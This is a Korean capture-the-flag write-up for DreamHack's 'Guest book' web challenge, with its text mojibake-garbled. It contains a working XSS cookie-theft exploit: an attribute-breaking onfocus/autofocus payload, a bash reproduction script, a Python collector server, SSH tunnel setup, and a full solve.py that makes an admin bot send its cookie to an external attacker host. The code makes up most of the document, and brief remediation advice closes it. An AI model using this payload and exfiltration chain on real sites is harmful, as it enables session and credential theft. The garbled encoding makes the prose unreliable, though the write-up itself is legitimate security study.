document.cookie = 'flag=DH{local_fake_flag_for_repro}'./post.sh "[x](x' onfocus='location=\`http://127.0.0.1:8042/?c=\${document.cookie}\`' autofocus=')"
μ¬κΈ°κΉμ§λ μ무 μΌλ μλ€. μ΄μ νμ΄λ‘λ κΈμ΄ μ¬λΌκ° λ€ κ°μ μ£Όμλ₯Ό λ€μ μ°λ€.

μ£Όμμ°½μ 보면 λλ μ΄μΌκΈ°λ€. λ°©λͺ λ‘μ μ΄μμ λΏμΈλ° λΈλΌμ°μ κ° μμ§ μλ²λ‘ λμ΄κ° μκ³ , 쿼리μ€νΈλ§μ μΏ ν€κ° ν΅μ§Έλ‘ λΆμ΄ μλ€. ν΄λ¦μ ν λ²λ μμλ€.
μ΄ κ³Όμ μ ν λ²μ λ리λ μ¬ν μ€ν¬λ¦½νΈλ₯Ό λ¨κ²¨ λλ€. μ€νλΌμΈ μ¦λͺ κ³Ό λΌμ΄λΈ μ΅μ€νλ‘μμ λ λ€ λ΄μλ€.
#!/usr/bin/env bash
# Guest book (DreamHack id 41, Gold 2, web) β ν λ°© μ¬ν.
#
# μ΄ λ¬Έμ μ flag λ κ΄λ¦¬μ λ΄μ μΏ ν€μ λ€μ΄ μμ΄μ μ€νλΌμΈμΌλ‘λ μ λ λμ€μ§ μλλ€.
# κ·Έλμ λ κ°μ§λ₯Ό νλ€:
# [A] μ€νλΌμΈ β μ·¨μ½μ μ체(λ°μ΄ν μμ‘΄ β μμ± νμΆ β 무ν΄λ¦ λ°ν)λ₯Ό λ‘컬μμ μ¦λͺ
νλ€.
# PHP 7.4 컨ν
μ΄λ + playwright λ΄μΌλ‘ κ°μ§ flag μΏ ν€κ° μ€μ λ‘ λΉ μ Έλμ€λμ§ λ³Έλ€.
# [B] λΌμ΄λΈ β μΈμλ‘ VM μ£Όμλ₯Ό μ£Όλ©΄ μ§μ§ flag κΉμ§ λ½λλ€.
#
# μ¬μ©:
# ./reproduce.sh # [A] μ€νλΌμΈ μ¦λͺ
λ§
# WG_ATTACKER=https://<ν°λ>.lhr.life ./reproduce.sh http://host3.dreamhack.games:PORT/ # [A]+[B]
set -eu
cd "$(dirname "$(readlink -f "$0")")"
EXPECT=$(python3 -c "import json;print(json.load(open('λ¬Έμ .json'))['flag'])" 2>/dev/null || echo '')
FAKE='DH{local_fake_flag_for_repro}'
echo "ββββ [A] μ€νλΌμΈ β μ·¨μ½μ μ¦λͺ
(PHP 7.4 + ν€λλ¦¬μ€ λ΄) ββββ"
# 1) λ°°ν¬λ addLink() λ₯Ό PHP λ λ²μ μ κ·Έλλ‘ λ¬Όλ € νλ°μ΄ν μμ‘΄ μ¬λΆλ₯Ό λ³Έλ€
echo "ββ htmlentities κΈ°λ³Έ νλκ·Έ: 7.4(ENT_COMPAT) vs 8.x(ENT_QUOTES)"
docker run --rm -v "$PWD":/w -w /w php:7.4-cli php sink_test.php | grep -A2 'quote-escape' || true
php sink_test.php 2>/dev/null | grep -A2 'quote-escape' || true
# 2) λ―Έλ λ°©λͺ
λ‘μ λμ°κ³ , λ΄μ΄ ν΄λ¦ μμ΄ μΏ ν€λ₯Ό ν리λμ§ νμΈ
docker rm -f gb_repro >/dev/null 2>&1 || true
rm -f local/posts.json
docker run --rm -d --name gb_repro --network host -v "$PWD/local":/app -w /app \
php:7.4-cli php -S 127.0.0.1:8041 -t /app >/dev/null
trap 'docker rm -f gb_repro >/dev/null 2>&1 || true; kill ${EXFIL_PID:-0} 2>/dev/null || true' EXIT
sleep 2
python3 local/exfil.py > /tmp/gb_exfil.log 2>&1 &
EXFIL_PID=$!
sleep 1
curl -s -o /dev/null -X POST http://127.0.0.1:8041/index.php \
--data-urlencode 'name=attacker' \
--data-urlencode "content=[x](x' onfocus='location=\`http://127.0.0.1:8042/?c=\${document.cookie}\`' autofocus=')"
echo "ββ λ λ κ²°κ³Ό:"
curl -s http://127.0.0.1:8041/index.php | grep -o "<a [^<]*</a>"
timeout 120 python3 local/bot.py http://127.0.0.1:8041/index.php "$FAKE" | tail -2
LEAK=$(grep -aoE 'DH\{[^}]+\}' /tmp/gb_exfil.log | head -1 || true)
if [ "$LEAK" != "$FAKE" ]; then
echo; echo "β FAIL [A] λ‘컬 μ μΆ μ€ν¨ (μ»μ κ°: '${LEAK:-μμ}')"; exit 1
fi
echo "β
[A] PASS β ν΄λ¦ μμ΄ μΏ ν€ μ μΆ νμΈ: $LEAK (λ‘컬 λλ―Έκ°μ΄λ€. μ§μ§ flag μλ)"
# ββ [B] λΌμ΄λΈ ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
if [ $# -lt 1 ]; then
echo
echo "βΉοΈ μ§μ§ flag λ λΌμ΄λΈ VM μ΄ μμ΄μΌ λμ¨λ€. μ£Όμλ₯Ό μ£Όλ©΄ μ΄μ΄μ λ½λλ€:"
echo " WG_ATTACKER=https://<ν°λ>.lhr.life ./reproduce.sh http://host3.dreamhack.games:PORT/"
exit 0
fi
echo
echo "ββββ [B] λΌμ΄λΈ β κ΄λ¦¬μ λ΄ μΏ ν€ νμ·¨ ββββ"
OUT=$(timeout 300 python3 solve.py "$@" 2>&1) || true
echo "$OUT" | tail -5
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1 || true)
if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
echo; echo "β
PASS $FLAG"; exit 0
fi
echo; echo "β FAIL (μ»μ κ°: '${FLAG:-μμ}' / κΈ°λ: '$EXPECT')"; exit 1
μΈμ μμ΄ λ리면 μ€νλΌμΈ μ¦λͺ λ§ νκ³ λλλ€. ν΅κ³ΌνμΌλ μ΄μ λΌμ΄λΈλ₯Ό μΌλ λλ€.
π― μ΅μ€νλ‘μ β λ΄μκ² λ°°λ¬
λΌμ΄λΈμμλ μ μΆμ λ°μ μ€ κ³³μ΄ νμνλ€. λ΄μ΄ μ¬λ 건 http://127.0.0.1/ λΏμ΄κ³
λ°©λͺ
λ‘μ κΈμ μ μ₯νμ§λ μμΌλ, κ°μ μΆμ² μμμ κ°μ νμν λ°©λ²μ΄ μλ€.
μΈλΆ μμ§ μλ²λ₯Ό μ΄λ€. μμ²μ 쿼리μ€νΈλ§μ λ‘κ·Έμ λ¨κΈ°κΈ°λ§ νλ©΄ λλ―λ‘ 404 λ₯Ό λλ €μ€λ μκ΄μλ€.
μ¬κΈ°μ μ΄μ μ€μΈ λ΄ μ¬μ΄νΈλ₯Ό μ°λ©΄ μ λλ€. νμΉ flag μΏ ν€κ° URL μ§Έλ‘ μ΄μ access log μ λ¨κ³ , κ·Έ λ‘κ·Έλ λ°±μ
Β·λͺ¨λν°λ§Β·μΈλΆ λΆμ λκ΅¬λ‘ κ³μ λ²μ§λ€. κ·Έλμ μμ§ μλ²λ 격리ν Kali VM μ μ¬λ¦¬κ³ localhost.run μΌλ‘ μ κΉλ§ λ°μ λ
ΈμΆνλ€.
python3 -m http.server λ‘λ λμ§λ§ 그건 κ²½λ‘λ§ μ°λλ€. λκ° λ³΄λλμ§κΉμ§ μ¦λͺ
νλ €λ©΄ Referer μ User-Agent λ₯Ό κ°μ΄ λ¨κ²¨μΌ ν΄μ μ΅μ μλ²λ₯Ό λ°λ‘ μΌλ€.
#!/usr/bin/env python3
"""XSS μμ§ μλ² β μμ² κ²½λ‘μ ν¨κ» Referer/User-Agent κΉμ§ λ‘κ·Έμ λ¨κΈ΄λ€."""
import sys
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_GET(self):
print('%s - - [%s] "GET %s" referer=%s ua=%s' % (
self.client_address[0], self.log_date_time_string(), self.path,
self.headers.get("Referer", "-"), self.headers.get("User-Agent", "-")),
flush=True)
self.send_response(404)
self.end_headers()
def log_message(self, *a): # κΈ°λ³Έ ν μ€ λ‘κ·Έλ λλ€(μμμ μ§μ μ°λλ€)
pass
HTTPServer(("0.0.0.0", int(sys.argv[1])), H).serve_forever()scp collector.py kali:~/atk_gb41/
ssh kali 'cd ~/atk_gb41 && setsid nohup python3 collector.py 8902 \
> ~/atk_gb41/access.log 2>&1 < /dev/null & disown'
ssh kali 'tmux new-session -d -s lhr "ssh -R 80:localhost:8902 nokey@localhost.run"'
ssh kali 'tmux capture-pane -t lhr -p -S -60 | grep -oE "[a-z0-9]+\.lhr\.life"'λ°κΈλ°μ μ£Όμλ₯Ό WG_ATTACKER λ‘ λκΈ°λ©΄ μλ μ€ν¬λ¦½νΈλ€μ΄ μ λΆ κ·Έ μ£Όμλ₯Ό μ΄λ€. ν°λ μ£Όμλ λ§€λ² λ°λλ―λ‘ κΈμ λ°μ λμ§ μλλ€.

Report μ λ£μ κ²½λ‘λ GuestBook.php?content=<μΈμ½λ©λ νμ΄λ‘λ> λ€.
path κ° μμ 쿼리μ€νΈλ§μ΄ ν΅μ§Έλ‘ λ€μ΄κ°λ―λ‘ νμ΄λ‘λλ 미리 νΌμΌνΈ μΈμ½λ©ν΄ λλ€.
π Full Exploit
μ€μ λ‘ νλκ·Έλ₯Ό λ½μ μ€ν¬λ¦½νΈ μ λ¬Έμ΄λ€.
#!/usr/bin/env python3
"""DreamHack 'Guest book' (id 41, Gold 2, web) β μ체 μκ²° μ΅μ€νλ‘μ.
μ·¨μ½μ
λ°°ν¬λ util.php μ addLink() λ htmlentities() λ‘ μ΄μ€μΌμ΄νν "λ€μ"
preg_replace λ‘ <a href='$2'>$1</a> λ₯Ό λ€μ λ§λ€μ΄ λΈλ€.
μ΄ μλ²μ PHP λ htmlentities κΈ°λ³Έ νλκ·Έκ° ENT_COMPAT λΌ νλ°μ΄ν(')λ₯Ό μ 건λλ¦°λ€.
β href='...' λ₯Ό λ«κ³ <a> νκ·Έμ μμ μμ±(onfocus/autofocus)μ λΆμΌ μ μλ€.
μ μ½
μ κ·μ \\((.*?)\\) κ° μ²« ')' μμ λκΈ°λ―λ‘ URL κ·Έλ£Ή μμ ')' λ₯Ό λͺ» μ΄λ€.
β κ΄νΈ μλ JS λ§ μ΄λ€. λ°±ν± ν
νλ¦Ώ 리ν°λ΄κ³Ό λ¬Έμμ΄ μ°κ²° λ λ€ νμΈνλ€.
νλ¦
Report.php λ‘ κ΄λ¦¬μ λ΄μκ² GuestBook.php?content=<payload> λ₯Ό μ΄κ² νλ©΄
autofocus κ° onfocus λ₯Ό μλ λ°νμμΌ document.cookie(=flag)κ° μμ§ μλ²λ‘ λ μμ¨λ€.
μ¬μ©:
WG_ATTACKER=https://<ν°λ>.lhr.life python3 solve.py http://host3.dreamhack.games:PORT/
(μμ§ μλ²λ 쿼리μ€νΈλ§μ access log μ λ¨κΈ°κΈ°λ§ νλ©΄ 무μμ΄λ λλ€)
"""
import re, sys, time, urllib.parse, requests
TARGET = (sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:11773/").rstrip("/")
COLLECT = (sys.argv[2] if len(sys.argv) > 2 else os.environ["WG_ATTACKER"].rstrip("/") + "/gb41")
LOG = sys.argv[3] if len(sys.argv) > 3 else "~/atk_gb41/access.log" # Kali μμ κ²½λ‘
MARK = urllib.parse.urlparse(COLLECT).path # λ‘κ·Έμμ μ°λ¦¬ μμ²λ§ 골λΌλΌ νμ
# ββ νμ΄λ‘λ ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# λ λ κ²°κ³Ό: <a href='x' onfocus='location=`<COLLECT>?c=${document.cookie}`' autofocus=''>x</a>
# ^ href λ₯Ό μ¬κΈ°μ λ«κ³ ββββββββββ^ μ μμ±μ μ΄μ΄ λΆμΈλ€
JS = "location=`" + COLLECT + "?c=${document.cookie}`"
PAYLOAD = "[x](x' onfocus='" + JS + "' autofocus=')"
assert ")" not in PAYLOAD[:-1], "URL κ·Έλ£Ήμ ')' κ° μμΌλ©΄ μ κ·μμ΄ κ±°κΈ°μ λκΈ΄λ€"
# ββ 1. λ°μ¬ μ§μ μμ νκ·Έκ° μ€μ λ‘ κΉ¨μ§λμ§ λ¨Όμ λ³Έλ€ βββββββββββββββββββββββ
html = requests.get(f"{TARGET}/GuestBook.php", params={"content": PAYLOAD}, timeout=15).text
rendered = html.split("<pre>")[1].split("</pre>")[0] if "<pre>" in html else "(λ°μ¬ μ λ¨)"
print("[1] λ λλ HTML :", rendered)
if "onfocus=" not in rendered:
sys.exit("[!] μμ± νμΆ μ€ν¨ β μλ² PHP κ° 8.1+ λΌ νλ°μ΄νκ° μ΄μ€μΌμ΄νλμ μ μλ€")
# ββ 2. κ΄λ¦¬μ λ΄μκ² κ·Έ URL μ μ΄κ² νλ€ βββββββββββββββββββββββββββββββββββ
# λ΄μ http://127.0.0.1/<path> λ₯Ό μ°λ€. path μμ λ€μ΄κ° 쿼리κ°μ 미리 μΈμ½λ©νλ€.
path = "GuestBook.php?content=" + urllib.parse.quote(PAYLOAD, safe="")
rp = requests.post(f"{TARGET}/Report.php", data={"path": path}, timeout=30)
print("[2] Report μ μ‘ :", rp.status_code, "path=" + path[:60] + "...")
# ββ 3. μμ§ μλ² λ‘κ·Έμμ flag κ° λμ°©νκΈ°λ₯Ό κΈ°λ€λ¦°λ€ ββββββββββββββββββββββ
# VM μ λ§ λ§λ μ§νμλ 리ν¬νΈ μμ»€κ° μμ§ μ λ μ 첫 ν λ²μ΄ μ‘°μ©ν μ μλ€.
# κ·Έλμ 30μ΄λ§λ€ λ€μ 보λ΄λ©° μ΅λ 4λΆ κΈ°λ€λ¦°λ€.
deadline = time.time() + 240
seen = None
while time.time() < deadline:
try:
with open(LOG, errors="ignore") as f:
m = re.findall(r'GET ' + re.escape(MARK) + r'\?c=[^ "]*(DH\{[^}]+\})', f.read())
if m:
seen = m[-1]
break
except OSError as e:
sys.exit(f"[!] μμ§ λ‘κ·Έλ₯Ό λͺ» μ½λλ€({e}). μλ² λ‘κ·Έλ₯Ό μ§μ νμΈνλΌ: {MARK}?c=...")
time.sleep(5)
if int(time.time()) % 30 < 5:
requests.post(f"{TARGET}/Report.php", data={"path": path}, timeout=30)
print("[3] FLAG :", seen or "(μκ° μ΄κ³Ό β μμ§ μλ² λ‘κ·Έλ₯Ό μ§μ νμΈνλΌ)")
μΈ μ€μ΄λ©΄ λλλ€. λ°μ¬ μ§μ μμ μμ± νμΆμ΄ λλμ§ νμΈνκ³ , Report λ₯Ό 보λ΄κ³ , μμ§ λ‘κ·Έμ νλκ·Έκ° λ° λκΉμ§ κΈ°λ€λ¦°λ€.
μμ§ μλ² μͺ½ μλ³Έ λ‘κ·Έλ νμΈν΄ λλ€.
ssh kali 'grep -oE "\[[^]]+\] .GET /gb41.c=[^\"]*. referer=[^ ]* ua=.*" ~/atk_gb41/access.log | tail -2'
μ¬κΈ°κ° μ΄ νμ΄μμ μ μΌ λ§μ‘±μ€λ¬μ΄ ν μ€μ΄λ€.
referer κ° http://127.0.0.1/ λ€. λ΄ λΈλΌμ°μ κ° μλλΌ λ¬Έμ μλ² μμμ λλ 무μΈκ°κ°
보λλ€λ λ»μ΄λ€. λΈλΌμ°μ μλ³ λ¬Έμμ΄μ HeadlessChrome/150. κ΄λ¦¬μ λ΄μ΄ λ§λ€.
κ·Έ λ΄μ΄ μκΈ° μΏ ν€λ₯Ό 쿼리μ€νΈλ§μ λ΄μ μ€μ€λ‘ κ°μ Έλ€μ€¬λ€.
DH{26763025e32e6b24fedfc3206054d6a7}π κ²°λ‘
μ΄μ€μΌμ΄νλ μΆλ ₯ μ§μ μ, λ± ν λ²
addLink μ λ μ€μ μμλ§ λ°κΏλ μλΉ λΆλΆ λ§νλ€.
λ§ν¬λ₯Ό λ¨Όμ νμ±ν΄ URL μ μΆμΆνκ³ , κ·Έ URL μ htmlspecialchars($url, ENT_QUOTES) λ‘
κ°μΌ λ€μ νκ·Έλ₯Ό 쑰립νλ€λ©΄ νλ°μ΄νλ μ μ΄μ μμ± λ°μΌλ‘ λͺ» λμ¨λ€.
μ§κΈ μ½λλ μ΄μ€μΌμ΄νλ₯Ό "μ λ ₯ νν°"μ²λΌ μμ μΈμ λκ³ , μ μ μνν λ¬Έμμ΄ μ‘°λ¦½μ κ·Έ λ€μμ νλ€. μ΄μ€μΌμ΄νν κ°κ³Ό μ‘°λ¦½ν΄ λ£λ κ°μ λ€λ₯Έ κ°μ΄λ€.
λΌμ΄λΈλ¬λ¦¬ κΈ°λ³Έκ°μ λ²μ μ λ¬Άμ¬ μλ€
κ°μ htmlentities($s) κ° PHP 7.4 μμλ λ«λ¦¬κ³ 8.4 μμλ λ§νλ€.
μ½λλ₯Ό ν μ€λ μ κ³ μ³€λλ° λ°νμμ μ¬λ¦¬λ κ²λ§μΌλ‘ κ²°κ³Όκ° λ€μ§νλ€.
λ°λλ‘ λ§νλ©΄, κΈ°λ³Έκ°μ κΈ°λμ΄ μ΄ μ½λλ μ΄λ λ²μ μμ κ²μ¦νλμ§κ° κ³§ 보μ κ²½κ³λ€.
νλκ·Έλ₯Ό λͺ
μμ μΌλ‘ λκΈ°λ μ΅κ΄μ΄ κ·Έλμ νμνλ€. ENT_QUOTES λ₯Ό μμΌλ‘ μ μλ€λ©΄
μ΄ λ¬Έμ λ μ±λ¦½νμ§ μμλ€.
νν°λ₯Ό λ³Ό λλ κ·Έ λ€μ μ€λ 쑰립κΉμ§ λ³Έλ€
htmlentities λ§ λ³΄λ©΄ μμ ν΄ λ³΄μΈλ€. μ€μ λ‘ κΊΎμ λ μλ°μ΄νλ λ€ μ£½λλ€.
λ¬Έμ λ κ·Έ λ€μ μ€μ΄μλ€. νν° μ체μ κ°λλ³΄λ€ νν°μ μΆλ ₯ μ¬μ΄μ 무μμ΄ λΌμ΄λλμ§κ°
λ μμ£Ό μ·¨μ½μ μ΄ λλ€.
μΏ ν€μ λ΄μ κ°κ³Ό JS μμ μ½νλ λλ κ°μ λ€λ₯΄λ€
μ΄ λ¬Έμ μ νλκ·Έλ document.cookie λ‘ κ·Έλ₯ μ½νλ€. HttpOnly λ§ λΆμ΄ μμμ΄λ
κ°μ XSS λ‘ μΏ ν€λ₯Ό λͺ» κ°μ Έκ°λ€. XSS κ° λ«λ¦° λ€μλ νΌν΄λ₯Ό μ€μ΄λ 건 μ΄λ° μͺ½μ΄λ€.
λ§νλ€κ³ κ²°λ‘ λ΄κΈ° μ μ, μ€νμ΄ μλλλ‘ λλμ§λΆν° λ³Έλ€
첫 리ν¬νΈκ° μ‘°μ©νμ λ λλ κ³§μ₯ νμ΄λ‘λλ₯Ό μμ¬νλ€. κ·Έλ¦¬κ³ λΉκ΅ μ€νμ μ§λ©΄μ λ°μ΄νλ₯Ό νλ μλͺ» μΈλ λ°λμ, νΈλ€λ¬κ° μμ μλ νκ·Έλ₯Ό λμ Έ λκ³ "μ΄ νΈλ¦¬κ±°λ μ λ¨Ήλλ€"κ³ μ½μλ€.
λ λ κ²°κ³Όλ₯Ό μΆλ ₯νλλ‘ μ§ λκ³ λ λμΌλ‘ νμΈνμ§ μμ κ² μμΈμ΄λ€. κ²°κ΅ μ²μ νμ΄λ‘λκ° λ§μκ³ μλ²κ° μ€λΉλκΈ° μ μ΄μμ λΏμ΄λ€.
Comments
λκΈ
λκΈμ λ¨κΈ°λ €λ©΄ λ‘κ·ΈμΈμ΄ νμν΄μ. (λ€μ΄λ² Β· κ΅¬κΈ κ³μ )
λκΈ λΆλ¬μ€λ μ€β¦